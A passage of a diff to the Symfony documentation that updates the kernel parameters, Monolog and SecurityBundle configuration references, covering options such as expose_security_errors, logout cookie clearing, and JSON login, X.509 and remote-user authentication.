:method:`Symfony\\Component\\HttpKernel\\Kernel::getLogDir` method. To -change this setting, override the ``getLogDir()`` method to return the right -log directory. + class Kernel extends BaseKernel + { + public function getCharset(): string + { + return 'ISO-8859-1'; + } + } -Container Build Time -~~~~~~~~~~~~~~~~~~~~ +``kernel.container_build_time`` +------------------------------- **type**: ``string`` **default**: the result of executing ``time()`` @@ -150,7 +115,7 @@ from some trusted source code. In practice, the compiled :doc:`service container </service_container>` of your application will always be the same if you don't change its source code. This is -exposed via these configuration parameters: +exposed via these container parameters: * ``container.build_hash``, a hash of the contents of all your source files; * ``container.build_time``, a timestamp of the moment when the container was @@ -160,7 +125,7 @@ exposed via these configuration parameters: Since the ``container.build_time`` value will change every time you compile the application, the build will not be strictly reproducible. If you care about -this, the solution is to use another configuration parameter called +this, the solution is to use another container parameter called ``kernel.container_build_time`` and set it to a non-changing build time to achieve a strict reproducible build: @@ -194,4 +159,212 @@ achieve a strict reproducible build: // ... $container->setParameter('kernel.container_build_time', '1234567890'); +``kernel.container_class`` +-------------------------- + +**type**: ``string`` **default**: (see explanation below) + +This parameter stores a unique identifier for the container class. In practice, +this is only important to ensure that each kernel has a unique identifier when +:doc:`using applications with multiple kernels </configuration/multiple_kernels>`. + +The default value is generated by Symfony based on the current +:ref:`configuration environment <configuration-environments>` and the +:ref:`debug mode <debug-mode>`. For example, if your application kernel is +defined in the ``App`` namespace, runs in the ``dev`` environment and the ``debug`` +mode is enabled, the value of this parameter is ``App_KernelDevDebugContainer``. + +This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getContainerClass` +method of the kernel class, which you can override to return a different value:: + + // src/Kernel.php + namespace App; + + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + // ... + + class Kernel extends BaseKernel + { + public function getContainerClass(): string + { + return sprintf('AcmeKernel%s', random_int(10_000, 99_999)); + } + } + +``kernel.debug`` +---------------- + +**type**: ``boolean`` **default**: (the value is passed as an argument when booting the kernel) + +This parameter stores the value of the current :ref:`debug mode <debug-mode>` +used by the application. + +``kernel.default_locale`` +------------------------- + +This parameter stores the value of +:ref:`the framework.default_locale parameter <config-framework-default_locale>`. + +``kernel.enabled_locales`` +-------------------------- + +This parameter stores the value of +:ref:`the framework.enabled_locales parameter <reference-translator-enabled-locales>`. + +.. _configuration-kernel-environment: + +``kernel.environment`` +---------------------- + +**type**: ``string`` **default**: (the value is passed as an argument when booting the kernel) + +This parameter stores the name of the current :ref:`configuration environment <configuration-environments>` +used by the application. + +This value defines the configuration options used to run the application, whereas +the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>` +option defines the place where the application is deployed. This allows for +example to run an application with the ``prod`` config (``kernel.environment``) +in different scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``). + +``kernel.error_controller`` +--------------------------- + +This parameter stores the value of +:ref:`the framework.error_controller parameter <config-framework-error_controller>`. + +``kernel.http_method_override`` +------------------------------- + +This parameter stores the value of +:ref:`the framework.http_method_override parameter <configuration-framework-http_method_override>`. + +``kernel.logs_dir`` +------------------- + +**type**: ``string`` **default**: ``$this->getProjectDir()/var/log`` + +This parameter stores the absolute path of the log directory of your Symfony application. +It's calculated automatically based on the current +:ref:`configuration environment <configuration-environments>`. + +This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getLogDir` +method of the kernel class, which you can override to return a different value. + +.. _configuration-kernel-project-directory: + +``kernel.project_dir`` +---------------------- + +**type**: ``string`` **default**: the directory of the project's ``composer.json`` + +This parameter stores the absolute path of the root directory of your Symfony application, +which is used by applications to perform operations with file paths relative to +the project's root directory. + +By default, its value is calculated automatically as the directory where the +main ``composer.json`` file is stored. This value is also exposed via the +:method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method of the +kernel class. + +If you don't use Composer, or have moved the ``composer.json`` file location or +have deleted it entirely (for example in the production servers), override the +``getProjectDir()`` method to return a different value:: + + // src/Kernel.php + namespace App; + + use Symfony\Component\HttpKernel\Kernel as BaseKernel; + // ... + + class Kernel extends BaseKernel + { + // ... + + public function getProjectDir(): string + { + // when defining a hardcoded string, don't add the trailing slash to the path + // e.g. '/home/user/my_project', '/app', '/var/www/example.com' + return \dirname(__DIR__); + } + } + +.. _configuration-kernel-runtime-environment: + +``kernel.runtime_environment`` +------------------------------ + +**type**: ``string`` **default**: ``%env(default:kernel.environment:APP_RUNTIME_ENV)%`` + +This parameter stores the name of the current :doc:`runtime environment </components/runtime>` +used by the application. + +This value defines the place where the application is deployed, whereas the +:ref:`kernel.environment <configuration-kernel-environment>` option defines +the configuration options used to run the application. This allows for example +to run an application with the ``prod`` config (``kernel.environment``) in different +scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``). + +``kernel.runtime_mode`` +----------------------- + +**type**: ``string`` **default**: ``%env(query_string:default:container.runtime_mode:APP_RUNTIME_MODE)%`` + +This parameter stores a query string of the current runtime mode used by the +application. For example, the query string looks like ``web=1&worker=0`` when +the application is running in web mode and ``web=1&worker=1`` when running in +a long-running web server. This parameter can be set by using the +``APP_RUNTIME_MODE`` env var. + +``kernel.runtime_mode.web`` +--------------------------- + +**type**: ``boolean`` **default**: ``%env(bool:default::key:web:default:kernel.runtime_mode:)%`` + +Whether the application is running in a web environment. + +``kernel.runtime_mode.cli`` +--------------------------- + +**type**: ``boolean`` **default**: ``%env(not:default:kernel.runtime_mode.web:)%`` + +Whether the application is running in a CLI environment. By default, +this value is the opposite of the ``kernel.runtime_mode.web`` parameter. + +``kernel.runtime_mode.worker`` +------------------------------ + +**type**: ``boolean`` **default**: ``%env(bool:default::key:worker:default:kernel.runtime_mode:)%`` + +Whether the application is running in a worker/long-running environment. Not all web +servers support it, and you have to use a long-running web server like `FrankenPHP`_. + +``kernel.secret`` +----------------- + +**type**: ``string`` **default**: ``%env(APP_SECRET)%`` + +This parameter stores the value of +:ref:`the framework.secret parameter <configuration-framework-secret>`. + +``kernel.trust_x_sendfile_type_header`` +--------------------------------------- + +This parameter stores the value of +:ref:`the framework.trust_x_sendfile_type_header parameter <configuration-framework-http_method_override>`. + +``kernel.trusted_hosts`` +------------------------ + +This parameter stores the value of +:ref:`the framework.trusted_hosts parameter <configuration-framework-trusted-hosts>`. + +``kernel.trusted_proxies`` +-------------------------- + +This parameter stores the value of +:ref:`the framework.trusted_proxies parameter <reference-framework-trusted-proxies>`. + +.. _`character encoding`: https://en.wikipedia.org/wiki/Character_encoding .. _`reproducible builds`: https://en.wikipedia.org/wiki/Reproducible_builds +.. _`FrankenPHP`: https://frankenphp.dev diff --git a/reference/configuration/monolog.rst b/reference/configuration/monolog.rst index cf6eb53e443..acabb02af57 100644 --- a/reference/configuration/monolog.rst +++ b/reference/configuration/monolog.rst @@ -1,6 +1,3 @@ -.. index:: - pair: Monolog; Configuration reference - Logging Configuration Reference (MonologBundle) =============================================== diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst index b0763e37b59..ef7247e330e 100644 --- a/reference/configuration/security.rst +++ b/reference/configuration/security.rst @@ -1,10 +1,7 @@ -.. index:: - single: Security; Configuration reference - Security Configuration Reference (SecurityBundle) ================================================= -The SecurityBundle integrates the :doc:`Security component </components/security>` +The SecurityBundle integrates the :doc:`Security component </security>` in Symfony applications. All these options are configured under the ``security`` key in your application configuration. @@ -22,16 +19,12 @@ key in your application configuration. namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/services/services-1.0.xsd`` -Configuration -------------- - **Basic Options**: * `access_denied_url`_ -* `always_authenticate_before_granting`_ -* `anonymous`_ * `erase_credentials`_ -* `hide_user_not_found`_ +* `expose_security_errors`_ +* `hide_user_not_found`_ (deprecated) * `session_fixation_strategy`_ **Advanced Options**: @@ -40,60 +33,88 @@ Some of these options define tens of sub-options and they are explained in separate articles: * `access_control`_ -* `encoders`_ +* :ref:`hashers <passwordhasher-supported-algorithms>` * `firewalls`_ * `providers`_ * `role_hierarchy`_ access_denied_url -~~~~~~~~~~~~~~~~~ +----------------- **type**: ``string`` **default**: ``null`` Defines the URL where the user is redirected after a ``403`` HTTP error (unless -you define a custom access deny handler). Example: ``/no-permission`` +you define a custom access denial handler). Example: ``/no-permission`` -always_authenticate_before_granting -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +erase_credentials +----------------- -**type**: ``boolean`` **default**: ``false`` +**type**: ``boolean`` **default**: ``true`` -If ``true``, the user is asked to authenticate before each call to the -``isGranted()`` method in services and controllers or ``is_granted()`` from -templates. +If ``true``, the ``eraseCredentials()`` method of the user object is called +after authentication:: -anonymous -~~~~~~~~~ + use Symfony\Component\Security\Core\User\UserInterface; -**type**: ``string`` **default**: ``~`` + class User implements UserInterface + { + // ... -When set to ``lazy``, Symfony loads the user (and starts the session) only if -the application actually accesses the ``User`` object (e.g. via a ``is_granted()`` -call in a template or ``isGranted()`` in a controller or service). + public function eraseCredentials(): void + { + // If you store any temporary, sensitive data on the user, clear it here + // $this->plainPassword = null; + } + } -erase_credentials -~~~~~~~~~~~~~~~~~ +.. deprecated:: 7.3 -**type**: ``boolean`` **default**: ``true`` + Since Symfony 7.3, ``eraseCredentials()`` methods are deprecated and are + not called if they have the ``#[\Deprecated]`` attribute. -If ``true``, the ``eraseCredentials()`` method of the user object is called -after authentication. +expose_security_errors +---------------------- + +**type**: ``string`` **default**: ``'none'`` + +.. versionadded:: 7.3 + + The ``expose_security_errors`` option was introduced in Symfony 7.3 + +User enumeration is a common security issue where attackers infer valid usernames +based on error messages. For example, a message like "This user does not exist" +shown by your login form reveals whether a username exists. + +This option lets you hide some or all errors related to user accounts +(e.g. blocked or expired accounts) to prevent this issue. Instead, these +errors will trigger a generic ``BadCredentialsException``. The value of this +option can be one of the following: + +* ``'none'``: hides all user-related security exceptions; +* ``'account_status'``: shows account-related exceptions (e.g. blocked or expired + accounts) but only for users who provided the correct password; +* ``'all'``: shows all security-related exceptions. hide_user_not_found -~~~~~~~~~~~~~~~~~~~ +------------------- **type**: ``boolean`` **default**: ``true`` +.. deprecated:: 7.3 + + The ``hide_user_not_found`` option was deprecated in favor of the + ``expose_security_errors`` option in Symfony 7.3. + If ``true``, when a user is not found a generic exception of type :class:`Symfony\\Component\\Security\\Core\\Exception\\BadCredentialsException` is thrown with the message "Bad credentials". If ``false``, the exception thrown is of type -:class:`Symfony\\Component\\Security\\Core\\Exception\\UsernameNotFoundException` -and it includes the given not found username. +:class:`Symfony\\Component\\Security\\Core\\Exception\\UserNotFoundException` +and it includes the given not found user identifier. session_fixation_strategy -~~~~~~~~~~~~~~~~~~~~~~~~~ +------------------------- **type**: ``string`` **default**: ``SessionAuthenticationStrategy::MIGRATE`` @@ -116,200 +137,10 @@ access_control Defines the security protection of the URLs of your application. It's used for example to trigger the user authentication when trying to access to the backend -and to allow anonymous users to the login form page. +and to allow unauthenticated users to the login form page. This option is explained in detail in :doc:`/security/access_control`. -encoders --------- - -This option defines the algorithm used to *encode* the password of the users. -Although Symfony calls it *"password encoding"* for historical reasons, this is -in fact, *"password hashing"*. - -If your app defines more than one user class, each of them can define its own -encoding algorithm. Also, each algorithm defines different config options: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - encoders: - # auto encoder with default options - App\Entity\User: 'auto' - - # auto encoder with custom options - App\Entity\User: - algorithm: 'auto' - cost: 15 - - # Sodium encoder with default options - App\Entity\User: 'sodium' - - # Sodium encoder with custom options - App\Entity\User: - algorithm: 'sodium' - memory_cost: 16384 # Amount in KiB. (16384 = 16 MiB) - time_cost: 2 # Number of iterations - - # MessageDigestPasswordEncoder encoder using SHA512 hashing with default options - App\Entity\User: 'sha512' - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" charset="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - <!-- auto encoder with default options --> - <encoder - class="App\Entity\User" - algorithm="auto" - /> - - <!-- auto encoder with custom options --> - <encoder - class="App\Entity\User" - algorithm="auto" - cost="15" - /> - - <!-- Sodium encoder with default options --> - <encoder - class="App\Entity\User" - algorithm="sodium" - /> - - <!-- Sodium encoder with custom options --> - <!-- memory_cost: amount in KiB. (16384 = 16 MiB) - time_cost: number of iterations --> - <encoder - class="App\Entity\User" - algorithm="sodium" - memory_cost="16384" - time_cost="2" - /> - - <!-- MessageDigestPasswordEncoder encoder using SHA512 hashing with default options --> - <encoder - class="App\Entity\User" - algorithm="sha512" - /> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Entity\User; - - $container->loadFromExtension('security', [ - // ... - 'encoders' => [ - // auto encoder with default options - User::class => [ - 'algorithm' => 'auto', - ], - - // auto encoder with custom options - User::class => [ - 'algorithm' => 'auto', - 'cost' => 15, - ], - - // Sodium encoder with default options - User::class => [ - 'algorithm' => 'sodium', - ], - - // Sodium encoder with custom options - User::class => [ - 'algorithm' => 'sodium', - 'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB) - 'time_cost' => 2, // Number of iterations - ], - - // MessageDigestPasswordEncoder encoder using SHA512 hashing with default options - User::class => [ - 'algorithm' => 'sha512', - ], - ], - ]); - -.. tip:: - - You can also create your own password encoders as services and you can even - select a different password encoder for each user instance. Read - :doc:`this article </security/named_encoders>` for more details. - -.. _reference-security-sodium: -.. _using-the-argon2i-password-encoder: - -Using the Sodium Password Encoder -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -It uses the `Argon2 key derivation function`_ and it's the encoder recommended -by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier -PHP version, you can install the `libsodium`_ PHP extension. - -The encoded passwords are ``96`` characters long, but due to the hashing -requirements saved in the resulting hash this may change in the future, so make -sure to allocate enough space for them to be persisted. Also, passwords include -the `cryptographic salt`_ inside them (it's generated automatically for each new -password) so you don't have to deal with it. - -.. _reference-security-encoder-auto: - -Using the "auto" Password Encoder -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -It selects automatically the best possible encoder. Currently, it tries to use -Sodium by default and falls back to the `bcrypt password hashing function`_ if -not possible. In the future, when PHP adds new hashing techniques, it may use -different password hashers. - -It produces encoded passwords with ``60`` characters long, so make sure to -allocate enough space for them to be persisted. Also, passwords include the -`cryptographic salt`_ inside them (it's generated automatically for each new -password) so you don't have to deal with it. - -Its only configuration option is ``cost``, which is an integer in the range of -``4-31`` (by default, ``13``). Each single increment of the cost **doubles the -time** it takes to encode a password. It's designed this way so the password -strength can be adapted to the future improvements in computation power. - -You can change the cost at any time — even if you already have some passwords -encoded using a different cost. New passwords will be encoded using the new -cost, while the already encoded ones will be validated using a cost that was -used back when they were encoded. - -.. tip:: - - A simple technique to make tests much faster when using BCrypt is to set - the cost to ``4``, which is the minimum value allowed, in the ``test`` - environment configuration. - -.. _reference-security-pbkdf2: - -Using the PBKDF2 Encoder -~~~~~~~~~~~~~~~~~~~~~~~~ - -Using the `PBKDF2`_ encoder is no longer recommended since PHP added support for -Sodium and BCrypt. Legacy application still using it are encouraged to upgrade -to those newer encoding algorithms. - firewalls --------- @@ -336,7 +167,7 @@ application: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -360,20 +191,20 @@ application: .. code-block:: php // config/packages/security.php + use Symfony\Config\SecurityConfig; - // ... - $container->loadFromExtension('security', [ - 'firewalls' => [ - // 'main' is the name of the firewall (can be chosen freely) - 'main' => [ - // 'pattern' is a regular expression matched against the incoming - // request URL. If there's a match, authentication is triggered - 'pattern' => '^/admin', - // the rest of options depend on the authentication mechanism - // ... - ], - ], - ]); + return static function (SecurityConfig $security): void { + // ... + + // 'main' is the name of the firewall (can be chosen freely) + $security->firewall('main') + // 'pattern' is a regular expression matched against the incoming + // request URL. If there's a match, authentication is triggered + ->pattern('^/admin') + // the rest of options depend on the authentication mechanism + // ... + ; + }; .. seealso:: @@ -410,6 +241,21 @@ depend on the authentication mechanism, which can be any of these: http_digest: # ... +You can view actual information about the firewalls in your application with +the ``debug:firewall`` command: + +.. code-block:: terminal + + # displays a list of firewalls currently configured for your application + $ php bin/console debug:firewall + + # displays the details of a specific firewall + $ php bin/console debug:firewall main + + # displays the details of a specific firewall, including detailed information + # about the event listeners for the firewall + $ php bin/console debug:firewall main --events + .. _reference-security-firewall-form-login: ``form_login`` Authentication @@ -425,11 +271,11 @@ login_path **type**: ``string`` **default**: ``/login`` This is the route or path that the user will be redirected to (unless ``use_forward`` -is set to ``true``) when they try to access a protected resource but isn't +is set to ``true``) when they try to access a protected resource but aren't fully authenticated. -This path **must** be accessible by a normal, un-authenticated user, else -you may create a redirect loop. +This path **must** be accessible by a normal, unauthenticated user, else +you might create a redirect loop. check_path .......... @@ -443,6 +289,25 @@ URL and process the submitted login credentials. Be sure that this URL is covered by your main firewall (i.e. don't create a separate firewall just for ``check_path`` URL). +failure_path +............ + +**type**: ``string`` **default**: ``/login`` + +This is the route or path that the user is redirected to after a failed login attempt. +It can be a relative/absolute URL or a Symfony route name. + +form_only +......... + +**type**: ``boolean`` **default**: ``false`` + +Set this option to ``true`` to require that the login data is sent using a form +(it checks that the request content-type is ``application/x-www-form-urlencoded`` +or ``multipart/form-data``). This is useful for example to prevent the +:ref:`form login authenticator <security-form-login>` from responding to +requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`. + use_forward ........... @@ -456,7 +321,7 @@ username_parameter **type**: ``string`` **default**: ``_username`` -This is the field name that you should give to the username field of your +This is the name of the username field of your login form. When you submit the form to ``check_path``, the security system will look for a POST parameter with this name. @@ -465,7 +330,7 @@ password_parameter **type**: ``string`` **default**: ``_password`` -This is the field name that you should give to the password field of your +This is the name of the password field of your login form. When you submit the form to ``check_path``, the security system will look for a POST parameter with this name. @@ -476,7 +341,7 @@ post_only By default, you must submit your login form to the ``check_path`` URL as a POST request. By setting this option to ``false``, you can send a GET -request to the ``check_path`` URL. +request too. **Options Related to Redirecting after Login** @@ -489,7 +354,7 @@ If ``true``, users are always redirected to the default target path regardless of the previous URL that was stored in the session. default_target_path -.................... +................... **type**: ``string`` **default**: ``/`` @@ -504,6 +369,14 @@ target_path_parameter When using a login form, if you include an HTML element to set the target path, this option lets you change the name of the HTML element itself. +failure_path_parameter +...................... + +**type**: ``string`` **default**: ``_failure_path`` + +When using a login form, if you include an HTML element to set the failure path, +this option lets you change the name of the HTML element itself. + use_referer ........... @@ -519,10 +392,149 @@ redirected to the ``default_target_path`` to avoid a redirection loop. For historical reasons, and to match the misspelling of the HTTP standard, the option is called ``use_referer`` instead of ``use_referrer``. -**Options Related to Logout Configuration** +logout +~~~~~~ + +You can configure logout options. + +delete_cookies +.............. + +**type**: ``array`` **default**: ``[]`` + +Lists the names (and other optional features) of the cookies to delete when the +user logs out: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + logout: + delete_cookies: + cookie1-name: null + cookie2-name: + path: '/' + cookie3-name: + path: null + domain: example.com + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + <logout path="..."> + <delete-cookie name="cookie1-name"/> + <delete-cookie name="cookie2-name" path="/"/> + <delete-cookie name="cookie3-name" domain="example.com"/> + </logout> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + + // ... + + return static function (SecurityConfig $securityConfig): void { + // ... + + $securityConfig->firewall('main') + ->logout() + ->deleteCookie('cookie1-name') + ->deleteCookie('cookie2-name') + ->path('/') + ->deleteCookie('cookie3-name') + ->path(null) + ->domain('example.com'); + }; + +clear_site_data +............... + +**type**: ``array`` **default**: ``[]`` + +The ``Clear-Site-Data`` HTTP header clears browsing data (cookies, storage, cache) +associated with the requesting website. It allows web developers to have more +control over the data stored by a client browser for their origins. + +Allowed values are ``cache``, ``cookies``, ``storage`` and ``executionContexts``. +It's also possible to use ``*`` as a wildcard for all directives: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + logout: + clear_site_data: + - cookies + - storage + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + <logout> + <clear-site-data>cookies</clear-site-data> + <clear-site-data>storage</clear-site-data> + </logout> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + + // ... + + return static function (SecurityConfig $securityConfig): void { + // ... + + $securityConfig->firewall('main') + ->logout() + ->clearSiteData(['cookies', 'storage']); + }; invalidate_session -~~~~~~~~~~~~~~~~~~ +.................. **type**: ``boolean`` **default**: ``true`` @@ -534,42 +546,42 @@ The ``invalidate_session`` option allows to redefine this behavior. Set this option to ``false`` in every firewall and the user will only be logged out from the current firewall and not the other ones. -.. _reference-security-logout-success-handler: - ``path`` -~~~~~~~~ +........ **type**: ``string`` **default**: ``/logout`` -The path which triggers logout. If you change it from the default value ``/logout``, -you need to set up a route with a matching path. +The path which triggers logout. You need to set up a route with a matching path. -success_handler -~~~~~~~~~~~~~~~ +target +...... -.. deprecated:: 5.1 +**type**: ``string`` **default**: ``/`` - This option is deprecated since Symfony 5.1. Register an - :doc:`event listener </event_dispatcher>` on the - :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent` - instead. +The relative path (if the value starts with ``/``), or absolute URL (if it +starts with ``http://`` or ``https://``) or the route name (otherwise) to +redirect after logout. -**type**: ``string`` **default**: ``'security.logout.success_handler'`` +.. _reference-security-logout-csrf: -The service ID used for handling a successful logout. The service must implement -:class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`. +enable_csrf +........... -.. _reference-security-logout-csrf: +**type**: ``boolean`` **default**: ``null`` + +Set this option to ``true`` to enable CSRF protection in the logout process +using Symfony's default CSRF token manager. Set also the ``csrf_token_manager`` +option if you need to use a custom CSRF token manager. csrf_parameter -~~~~~~~~~~~~~~ +.............. -**type**: ``string`` **default**: ``'_csrf_token'`` +**type**: ``string`` **default**: ``_csrf_token`` The name of the parameter that stores the CSRF token value. -csrf_token_generator -~~~~~~~~~~~~~~~~~~~~ +csrf_token_manager +.................. **type**: ``string`` **default**: ``null`` @@ -577,12 +589,108 @@ The ``id`` of the service used to generate the CSRF tokens. Symfony provides a default service whose ID is ``security.csrf.token_manager``. csrf_token_id -~~~~~~~~~~~~~ +............. -**type**: ``string`` **default**: ``'logout'`` +**type**: ``string`` **default**: ``logout`` An arbitrary string used to identify the token (and check its validity afterwards). +.. _reference-security-firewall-json-login: + +JSON Login Authentication +~~~~~~~~~~~~~~~~~~~~~~~~~ + +check_path +.......... + +**type**: ``string`` **default**: ``/login_check`` + +This is the URL or route name the system must post to authenticate using +the JSON authenticator. The path must be covered by the firewall to which +the user will authenticate. + +username_path +............. + +**type**: ``string`` **default**: ``username`` + +Use this and ``password_path`` to modify the expected request body +structure of the JSON authenticator. For instance, if the JSON document has +the following structure: + +.. code-block:: json + + { + "security": { + "credentials": { + "login": "dunglas", + "password": "MyPassword" + } + } + } + +The security configuration should be: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + lazy: true + json_login: + check_path: login + username_path: security.credentials.login + password_path: security.credentials.password + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main" lazy="true"> + <json-login check-path="login" + username-path="security.credentials.login" + password-path="security.credentials.password"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->lazy(true); + $mainFirewall->jsonLogin() + ->checkPath('/login') + ->usernamePath('security.credentials.login') + ->passwordPath('security.credentials.password') + ; + }; + +password_path +............. + +**type**: ``string`` **default**: ``password`` + +Use this option to modify the expected request body structure. See +`username_path`_ for more details. + .. _reference-security-ldap: LDAP Authentication @@ -614,9 +722,9 @@ This is the name of your configured LDAP client. dn_string ......... -**type**: ``string`` **default**: ``{username}`` +**type**: ``string`` **default**: ``{user_identifier}`` -This is the string which will be used as the bind DN. The ``{username}`` +This is the string which will be used as the bind DN. The ``{user_identifier}`` placeholder will be replaced with the user-provided value (their login). Depending on your LDAP server's configuration, you may need to override this value. @@ -626,7 +734,7 @@ query_string **type**: ``string`` **default**: ``null`` -This is the string which will be used to query for the DN. The ``{username}`` +This is the string which will be used to query for the DN. The ``{user_identifier}`` placeholder will be replaced with the user-provided value (their login). Depending on your LDAP server's configuration, you will need to override this value. This setting is only necessary if the user's DN cannot be derived @@ -639,13 +747,173 @@ fetch your users from an LDAP server, you will need to use the :doc:`LDAP User Provider </security/ldap>` and any of these authentication providers: ``form_login_ldap`` or ``http_basic_ldap`` or ``json_login_ldap``. +.. _reference-security-firewall-x509: + +X.509 Authentication +~~~~~~~~~~~~~~~~~~~~ + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + x509: + provider: your_user_provider + user: SSL_CLIENT_S_DN_Email + credentials: SSL_CLIENT_S_DN + user_identifier: emailAddress + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + <x509 provider="your_user_provider" + user="SSL_CLIENT_S_DN_Email" + credentials="SSL_CLIENT_S_DN" + user_identifier="emailAddress" + /> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->x509() + ->provider('your_user_provider') + ->user('SSL_CLIENT_S_DN_Email') + ->credentials('SSL_CLIENT_S_DN') + ->userIdentifier('emailAddress') + ; + }; + +user +.... + +**type**: ``string`` **default**: ``SSL_CLIENT_S_DN_Email`` + +The name of the ``$_SERVER`` parameter containing the user identifier used +to load the user in Symfony. The default value is exposed by Apache. + +credentials +........... + +**type**: ``string`` **default**: ``SSL_CLIENT_S_DN`` + +If the ``user`` parameter is not available, the name of the ``$_SERVER`` +parameter containing the full "distinguished name" of the certificate +(exposed by e.g. Nginx). + +By default, Symfony identifies the value following ``emailAddress=`` in this +parameter. This can be changed using the ``user_identifier`` option. + +user_identifier +............... + +**type**: ``string`` **default**: ``emailAddress`` + +The value of this option tells Symfony which parameter to use to find the user +identifier in the "distinguished name". + +For example, if the "distinguished name" is +``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``, +and the value of this option is ``'CN'``, the user identifier will be ``'user1'``. + +.. _reference-security-firewall-remote-user: + +Remote User Authentication +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + # ... + remote_user: + provider: your_user_provider + user: REMOTE_USER + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <remote-user provider="your_user_provider" + user="REMOTE_USER"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->remoteUser() + ->provider('your_user_provider') + ->user('REMOTE_USER') + ; + }; + +provider +........ + +**type**: ``string`` + +The service ID of the user provider that should be used by this +authenticator. + +user +.... + +**type**: ``string`` **default**: ``REMOTE_USER`` + +The name of 